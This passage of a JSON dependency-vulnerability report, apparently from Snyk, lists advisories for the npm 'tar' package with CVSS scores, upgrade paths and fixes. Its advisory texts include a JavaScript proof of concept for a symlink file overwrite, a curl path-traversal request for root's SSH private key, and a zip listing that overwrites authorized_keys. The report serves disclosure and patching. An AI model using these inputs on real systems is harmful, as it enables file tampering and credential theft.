"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": 